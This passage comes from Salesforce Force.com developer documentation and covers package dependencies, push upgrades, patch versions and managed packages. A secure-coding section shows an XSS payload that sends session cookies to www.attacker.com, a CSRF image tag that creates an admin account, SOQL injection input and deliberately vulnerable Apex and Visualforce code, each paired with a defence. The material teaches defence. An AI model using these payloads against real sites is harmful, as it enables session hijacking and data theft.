Package dependencies are created when one component references another component, permission, or preference that is required for the component to be valid. Force.com tracks certain dependencies, including: Organizational dependencies, such as whether multicurrency or campaigns are enabled Component-specific dependencies, such as whether particular record types or divisions exist References to both standard and custom objects or fields

Packages, Apex classes, Apex triggers, Visualforce components, and Visualforce pages can have dependencies on components within an organization. These dependencies are recorded on the Show Dependencies page. Dependencies are important for packaging because any dependency in a component of a package is considered a dependency of the package as a whole. Note: An installers organization must meet all dependency requirements listed on the Show Dependencies page or else the installation will fail. For example, the installer's organization must have divisions enabled to install a package that references divisions. Dependencies are important for Apex classes or triggers because any component on which a class or trigger depends must be included with the class or trigger when the code is deployed or packaged. In addition to dependencies, the operational scope is also displayed on the Show Dependencies page. The operational scope is a table that lists any data manipulation language (DML) operations (such as insert or merge) that an Apex script executes on a specified object. The operational scope can be used when installing an application to determine the full extent of the applications database operations. To view the dependencies and operational scope for a package, Apex class, Apex trigger, or Visualforce page: 1. Navigate to the appropriate component: For packages, click Your Name > Setup > Create > Packages. For Apex classes, click Your Name > Setup > Develop > Apex Classes. For Apex triggers on standard objects, click Your Name > Setup > Customize, click the name of the object, and then click Triggers. For Apex triggers on custom objects, click Your Name > Setup > Create, click the name of the object, and then click Triggers. For Visualforce pages, click Your Name > Setup > Develop > Pages.

2. Select the name of the component.

1802

Create

Understanding Dependencies

3. Click View Dependencies for a package, or Show Dependencies for all other components, to see a list of objects that depend upon the selected component. If a list of dependent objects displays, click Fields to access the field-level detail of the operational scope. The field-level detail includes information, such as whether a field is updated by an Apex script. For more information, see Field Operational Scope on page 1803. Packages, Apex scripts, and Visualforce pages can be dependent on many components, including but not limited to: Custom field definitions Validation formulas Reports Record types Apex scripts Visualforce pages and components

For example, if a Visualforce page includes a reference to a multicurrency field, such as {!contract.ISO_code}, that Visualforce page has a dependency on multicurrency. If a package contains this Visualforce page, it also has a dependency on multicurrency. Any organization that wants to install this package must have multicurrency enabled.

See Also:
Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages Publishing Extensions to Managed Packages Field Operational Scope

Field Operational Scope


AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Apex available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To upload packages: To view Apex dependencies: To view Visualforce dependencies: Upload AppExchange Packages Author Apex Developer Mode

The fields displayed on the Fields Operational Scope page are referenced through the operational scope: If the Is Updated checkbox is selected, the field is updated using a database manipulation language (DML) operation, such as insert or update. For more information, see Understanding Dependencies on page 1801.

1803

Create

Scheduling Push Upgrades

If the Is Updated checkbox is not selected, the field is only referenced within the operational scope. For example, it may be included as part of a select statement. If the External ID checkbox is selected, the field acts as an External ID. An external ID field contains unique record identifiers from a system outside of Salesforce. You can use the Sidebar Search to find external ID values, and you can use the field in the Force.com API. When using the import wizards for custom objects and solutions, you can use this field to prevent duplicates.

See Also:
Understanding Dependencies

Scheduling Push Upgrades


Available in: Developer Edition

User Permissions Needed To push an upgrade, or create a patch development organization: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

After you have created a patch version of your package, you can automatically deploy it to customers using a push upgrade. Tip: Salesforce.com strongly recommends the following sequence for pushing package upgrades: 1. Push the patch to your own organizations so that you can run tests and fix any bugs before upgrading subscribers. 2. When youre ready, push to your customers organizations. Try sandbox organizations first, if possible. 3. If the patch applies to your most recent release, deprecate the previous version of your package in your main development organization. Replace the version on AppExchange if necessary, and update your Trialforce. 4. Run the push upgrade once again to ensure any remaining subscribers are upgraded. 5. After your patch is successfully distributed to subscriber organizations, reintegrate those changes into your main development organization. For more information about combining patches into the main development organization, see Working with Patch Versions in the Force.com Quick Reference for Developing Packages. Read the Best Practices for Push Upgrades and Patch Versions on page 1809 for more information. To schedule a push upgrade: 1. Log into your main development organization. 2. Under Your Name > Setup > Create > Packages, click the name of your managed package with a patch you want to push. On the package detail page, click the Versions tab, and then click Push Upgrades. 3. Click Schedule Push Upgrades.

1804

Create

Scheduling Push Upgrades

4. Select a patch version to push from the Patch Version drop-down list. Only packages that have been uploaded from a patch development organization are available in this list. Note: Beta versions arent eligible for push.

5. Enter a Scheduled Start Date, indicating when a push upgrade should begin. 6. Optionally, check Ignore Apex test failures during upgrade. Caution: This checkbox should be selected in rare cases when a push upgrade is failing due to an Apex test failure. Only select this option if both you and your subscriber have reviewed the package you want to upgrade and both agree that upgrading to the new version is safe. For more information on why your install might have failed, see Resolving Apex Test Failures on page 1823. 7. In the Select Target Organizations section, select the organizations to receive your push upgrade. If an organization already received a push upgrade for the selected package version, it wont appear in this list. You can select organizations by: Entering a term that filters based on an organizations name or ID. Names can match by partial string, but IDs must match exactly. Choosing between production and sandbox organizations from the Organizations drop-down list. Choosing organizations that have already installed a particular version. Clicking on individual organizations, or the Select All and Deselect All checkboxes.

This section lists the following information about the organization (in alphabetical order): Field
Current Version Organization ID

Description The current package version an organization has installed. The ID that uniquely identifies the organization to salesforce.com. The name of the organization. Clicking this name shows the upgrade history for the organization. The name of the contact who installed the package.

Organization Name

Primary Contact

8. Click Schedule. While a push upgrade is in progress, you can click Abort to stop it. On the previous push upgrades page, the Push Upgrade History table lists recently scheduled push upgrades for the package.

See Also:
Viewing Push Upgrade Details Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

1805

Create

Scheduling Push Upgrades

Viewing Push Upgrade History


Available in: Developer Edition

User Permissions Needed To push an upgrade, or create a patch development organization: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

To view the details of a push upgrade sent by your organization, click Your Name > Setup > Create > Packages, click the name of the package you want to view, then click Push Upgrades. To schedule a new push upgrade, click Schedule Push Upgrade. The Push Upgrade History page lists the status of all your pending and previous push upgrades. To filter your push upgrade history: 1. Select a version number from the drop-down list. Not selecting any version is equivalent to selecting all of them. 2. Select one or more statuses from the Status list. Not selecting any status is equivalent to selecting all of them. 3. Click Apply to filter the list. Click Clear to remove all the filters. The history displays the following information (in alphabetical order): Column
Action

Description While a push upgrade is in progress, you can click Abort to stop it. The scheduled start date and time of the push upgrade. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures. The name of the organization the push upgrade went to. For multiple organizations, this field only lists the first organization in the queue, followed by the number of the total selected organizations. Clicking on this link provides you with more information about the target push upgrade and each individual organization.

Start Date Status

Target

1806

Create

Scheduling Push Upgrades

Column
Version

Description The package version number that was pushed.

See Also:
Viewing Push Upgrade Details Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

Viewing Push Upgrade Details


Available in: Developer Edition

User Permissions Needed To push an upgrade, or create a patch development organization: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

For information about a specific push upgrade that your organization sent, click Your Name > Setup > Create > Packages, click the name of the package you want to view, then click Push Upgrades. Clicking on the name of a Target takes you to the Push Upgrade Details page, which has information both for the push job and each organization that it was pushed to. The Job Details section has the following information about the overall push upgrade (in alphabetical order): Field
End Date Ignore Apex Test Failures

Description The date and time the push upgrade finished. Whether Apex test failures that may cause the installed application not to function properly were ignored. The name of the user who initiated the push upgrade. The scheduled start date and time of the push upgrade. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures. The package version number that was pushed.

Scheduled By Start Date Status

Version

1807

Create

Scheduling Push Upgrades

In the Organizations section, you can get a list of all the organizations that received a push upgrade. You can filter organizations by using the search box and entering a term that filters based on an organizations name or ID. Names can match by partial string, but IDs must match exactly. From the drop-down list, you can also filter based on the status of the push upgrade. The list contains the following information specific to each organization (in alphabetical order): Field
Duration Failure Type

Description The amount of time the push upgrade took. Lists the type of failure that occurred (if any). If the push upgrade did fail, a possible explanation is provided in the collapsible section. If the push upgrade was unsuccessful, click Retry to try it again. The ID that uniquely identifies the organization to salesforce.com. The name of the organization. Clicking this name shows the upgrade history for the organization. The scheduled start date and time of the push upgrade. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures.

Organization ID

Organization Name

Start Status

See Also:
Viewing Push Upgrade History Scheduling Push Upgrades Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

Viewing an Organization's Upgrade History


Available in: Developer Edition

User Permissions Needed To push an upgrade, or create a patch development organization: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

1808

Create

Scheduling Push Upgrades

For more information about a specific organization that received a push upgrade, click Your Name > Setup > Create > Packages, click the name of the package you want to view, then click on the name of a Target. Clicking on an organization in the target list provides the following details (in alphabetical order): Field
Current Version Organization ID

Description The current package version an organization has installed. The ID that uniquely identifies the organization to salesforce.com. The name of the organization. The name of the contact who installed the package. The email address of the package publisher. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures.

Organization Name Primary Contact Primary Contact Email Status

The Push Upgrade History lists the following information (in alphabetical order): Field
Action

Description Clicking View Details returns you to the job details for that upgrade. The scheduled start date and time of the push upgrade. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures. The package version number that was pushed.

Start Date Status

Version

See Also:
Viewing Push Upgrade Details Viewing Push Upgrade History Creating and Uploading Patches Scheduling Push Upgrades Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

Best Practices for Push Upgrades and Patch Versions

1809

Create

Developing App Documentation

Available in: Developer Edition

User Permissions Needed To push an upgrade, or create a patch development organization: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

Consider the following best practices when scheduling a push: Pushes can be scheduled to run immediately, or at a future date. It's recommend that you schedule push upgrades at off-peak hours to minimize potential subscriber impact. Only ignore Apex tests after confirming with your customer that it's safe to upgrade. Visualforce pages that are refreshed while a push upgrade is in process may lose their view state if the page or controller is changed. To push new translations for existing components, add the languages for those translations to the package when you upload it as a major release. Then, add the individual translations in patch releases.

Consider the following best practices when creating a patch version: Visible changes to a package shouldn't be performed in a patch. Other than a change in the package version number, subscribers aren't notified of push upgrades. Changes to validation rules, formula fields, and errors thrown from Apex triggers are highly discouraged, as they may negatively impact subscribers integrations.

Developing App Documentation


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit custom tabs: Customize Application

Salesforce recommends publishing your app on AppExchange with the following types of documentation: Configure Option You can include a Configure option for installers. This option can link to installation and configuration details, such as: Provisioning the external service of a composite app Custom app settings

1810

Create

Assigning Force.com AppExchange Publishers

The Configure option is included in your package as a custom link. You can create a custom link for your home page layouts and add it to your package. 1. Create a custom link to a URL that contains configuration information or a Visualforce page that implements configuration. When you create your custom link, set the display properties to Open in separate popup window so that the user returns to the same Salesforce page when done. 2. When you create the package, choose this custom link in the Configure Custom Link field of your package detail. Data Sheet Give installers the fundamental information they need to know about your app before they install. Customization and Enhancement Guide Let installers know what they must customize after installation as part of their implementation. Custom Help You can provide custom help for your custom object records and custom fields. Tip: To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.

See Also:
Overview of Packages Assigning Force.com AppExchange Publishers

Assigning Force.com AppExchange Publishers


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign permissions: Customize Application

Users that publish packages on Force.com AppExchange must have the following user permissions: Create Force.com AppExchange packages Allows a user to create packages and add components to it. Upload Force.com AppExchange Packages Allows a user to upload and register or publish packages to Force.com AppExchange.

1811

Create

Security Tips for Apex and Visualforce Development

The System Administrator profile automatically has both these permissions. Determine which of your users should have these permissions and add them to the appropriate user profiles or permission sets.

See Also:
Overview of Packages Developing App Documentation

Security Tips for Apex and Visualforce Development


Available in: , Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Visualforce is not available in Database.com.

Understanding Security The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls. Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex. To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For additional information, see the Force.com Security Resources page on Developer Force at http://wiki.developerforce.com/index.php/Security.

See Also:
Managing Versions

Cross-Site Scripting (XSS)


Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives. For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

1812

Create

Security Tips for Apex and Visualforce Development

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim. The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session. For more information on this attack in general, see the following articles: http://www.owasp.org/index.php/Cross_Site_Scripting http://www.cgisecurity.com/articles/xss-faq.shtml http://www.owasp.org/index.php/Testing_for_Cross_site_scripting http://www.google.com/search?q=cross-site+scripting

Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist. Existing Protection All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to &lt; so that a literal < displays on the user's screen.
<apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText>

Disabling Escape on Visualforce Tags By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page. Custom JavaScript If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript.
<script> var foo = location.search;

1813

Create

Security Tips for Apex and Visualforce Development

document.write(foo); </script>

<apex:includeScript> The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Formula Tags
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to include a user's session ID in a link, they could create the link using the following syntax:
<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}"> Go to portal</a>

Which renders output similar to the following:


<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com /services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters.
<html> <head> <title>{!$Request.title}</title> </head> <body>Hello world!</body> </html>

Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

1814

Create

Security Tips for Apex and Visualforce Development

results in the output:


<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>

The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement of the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested SUBSTITUTE() calls.
<html> <head> <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title> </head> <body>Hello world!</body> </html>

Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped counterparts, can vary. For instance, this statement:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can cause included HTML control characters to be interpreted. Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)


Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this:
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds

1815

Create

Security Tips for Apex and Visualforce Development

because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. For more information and traditional defenses, see the following articles: http://www.owasp.org/index.php/Cross-Site_Request_Forgery http://www.cgisecurity.com/articles/csrf-faq.shtml http://shiflett.org/articles/cross-site-request-forgeries

Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page> public class myClass { public void init() { Id id = ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM Account WHERE id = :id]; delete obj; return ; } }

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter. There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands. For more information on SQL Injection attacks see: http://www.owasp.org/index.php/SQL_injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/Guide_to_SQL_Injection http://www.google.com/search?q=sql+injection

1816

Create

Security Tips for Apex and Visualforce Development

SOQL Injection Vulnerability in Apex Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" > <apex:form> <apex:outputText value="Enter Name" /> <apex:inputText value="{!name}" /> <apex:commandButton value="Query" action="{!query} /> </apex:form> </apex:page> public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String qryString = 'SELECT Id FROM Contact WHERE (IsDeleted = false and Name like \'%' + name + '%\')'; queryResult = Database.query(qryString); return null; } }

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built dynamically and then executed with the Database.query method. If the user provides a normal value, the statement executes as expected:
name = Bob sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provides unexpected input, such as:


name = test%') or (Name like '

In that case, the query string becomes:


SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query. SOQL Injection Defenses To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be re-written using static SOQL as follows:
public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String queryName = '%' + name + '%'; queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)]; return null;

1817

Create

Creating and Uploading Patches

} }

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control


The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers. When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code:
public class customController { public void read() { Contact contact = [Select id from Contact where Name = :value]; } }

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController { . . . }

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.

Creating and Uploading Patches


Available in: Developer Edition

User Permissions Needed To push an upgrade, or create a patch development organization: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

1818

Create

Creating and Uploading Patches

Patch versions are developed and maintained in a patch development organization. For more information on push upgrades and patches, see the Force.com Quick Reference for Developing Packages. You can also read the Best Practices for Push Upgrades and Patch Versions on page 1809 for more information. To create a patch version: 1. 2. 3. 4. Click Your Name > Setup > Create > Packages. Click the name of your managed package. Click the Patch Organization tab and then click New. Select the package version that you want to create a patch for in the Patching Major Release drop-down list. The release type must be Managed - Released. 5. Enter a Username for a login to your patch organization. 6. Enter an Email Address associated with your login. 7. Click Save. Note: If you ever lose your login information, click Reset on the package detail page under Patch Development Organizations to reset the login to your patch development organization.

After you receive an email indicating Salesforce has created your patch development organization, you can click Login to begin developing your patch version. Development in a patch development organization is restricted. The following is a list of caveats: New package components cant be added. Existing package components cant be deleted. API and dynamic Apex access controls cant change for the package. No deprecation of any Apex code. No new Apex class relationships, such as extends, can be added. No new Apex access modifiers, such as virtual or global, can be added. No new Web services can be added. No new feature dependencies can be added.

When you finish developing your patch, in your patch development organization: 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Packages and click the name of the package. On the Upload Package page, click Upload. Enter a Version Name. As a best practice, it's useful to have a short description and the date. Notice that the Version Number has had its patchNumber incremented. For managed packages, select a Release Type: Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce components are locked. For a list of locked attributes, see Developing Packages for Distribution. Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for testing purposes. You'll still be able to change the components and upload additional beta versions. For information on beta versions, see Developing Packages for Distribution. Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't be pushed to customer organizations.

1819

Create

Converting Unmanaged Packages to Managed

6. Change the Description, if necessary. 7. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Don't enter a password if you want to make the package available to anyone on AppExchange and share your package publicly. 8. Salesforce automatically selects the requirements it finds. In addition, select any other required components from the Package Requirements and Object Requirements sections to notify installers of any requirements for this package. 9. Click Upload. To distribute your patch, you can either share the upload link, or schedule a push upgrade.

See Also:
Scheduling Push Upgrades Viewing Push Upgrade History Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

Converting Unmanaged Packages to Managed


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure developer settings: To create packages: To upload packages: Customize Application Create AppExchange Packages Upload AppExchange Packages

Your organization may already have uploaded and registered packages on Force.com AppExchange directory. All packages uploaded prior to the Winter '07 release are unmanaged, meaning they cannot be upgraded in the installer's organization. You can convert them to managed packages by configuring your organization for managed packages and choosing a package to be managed. This allows you to notify installers when an upgrade is ready for them to install. Before you convert an existing package to managed, notify your current installers of how to save their data: 1. 2. 3. 4. Export all the data from the previous, unmanaged version of the package. Uninstall the unmanaged package. Install the new managed version of the package. Import all the exported data into the new managed package. Note: Note to installers: if you have made customizations to an installation of an unmanaged package, make a list of these customizations before uninstalling since you may want to implement them again. However, some customizations will not be possible with a managed package. See the Force.com Quick Reference for Developing Packages.

1820

Create

Publishing Extensions to Managed Packages

To convert an unmanaged package into a managed package: 1. Enable managed packages for your organization. 2. Click Your Name > Setup > Create > Packages, edit the package you want to make managed, and select Managed. Caution: Converting an unmanaged package to managed requires registering a namespace prefix that affects the API names of uniquely named package components such as custom fields or s-controls. S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still function properly after you register a namespace prefix. However, s-controls stored outside of your organization or s-controls that use the Force.com API to call Salesforce may require some fine-tuning. For more information, see S-control in the Object Reference.

See Also:
Managing Packages Enabling Managed Packages for Your Organization

Publishing Extensions to Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: To upload packages: Create AppExchange Packages Upload AppExchange Packages

An extension is any package, component, or set of components that adds to the functionality of a managed package. An extension requires that the base managed package be installed in the organization. For example, if you have built a recruiting app, an extension to this app might include a component for performing background checks on candidates. The community of developers, users, and visionaries building and publishing apps on Force.com AppExchange is part of what makes Force.com such a rich development platform. Use this community to build extensions to other apps and encourage them to build extensions to your apps. To publish extensions to a managed package: 1. Install the base package in the Salesforce organization that you plan to use to upload the extension. 2. Build your extension components. Note: To build an extension, install the base package and include a dependency to that base package in your package. The extension attribute will automatically become active. 3. Create a new package and add your extension components. Salesforce automatically includes some related components. For more information, see the Force.com Quick Reference for Developing Packages. 4. Upload the new package that contains the extension components. 5. Proceed with the publishing process as usual. For information on creating a test drive or registering and publishing your app, go to http://sites.force.com/appexchange/publisherHome.

1821

Create

Publishing Upgrades to Managed Packages

Note: Packages cannot be upgraded to Managed - Beta if they are used within the same organization as an extension.

See Also:
Preparing Your Apps for Distribution Understanding Dependencies Managing Versions Publishing Upgrades to Managed Packages

Publishing Upgrades to Managed Packages


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure developer settings: To create packages: To upload packages: Customize Application Create AppExchange Packages Upload AppExchange Packages

As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the components in a managed package are automatically included in subsequent uploads of that package, with one exception. When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic Apex Access in Packages on page 2049. To publish upgrades to a managed package: 1. Select the package from the list of packages available at Your Name > Setup > Create > Packages. 2. View the list of package components. Changes you have made to components in this package are automatically included in this list. If the changes reference additional components, those components are automatically included as well. To add new components, click Add to add them to the package manually. 3. Click Upload and upload it as usual. Note: After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot install an older version. Deprecation prevents new installations of older versions without affecting existing installations. For more information, see Managing Versions on page 1800. You cannot deprecate the most recent version of a managed package upload.

1822

Create

Resolving Apex Test Failures

4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this information. The License Management Application (LMA) automatically stores the version number that your installers have in their organizations.

See Also:
Preparing Your Apps for Distribution Understanding Dependencies Managing Versions Creating and Uploading Patches Publishing Extensions to Managed Packages

Resolving Apex Test Failures


Available in: Developer Edition

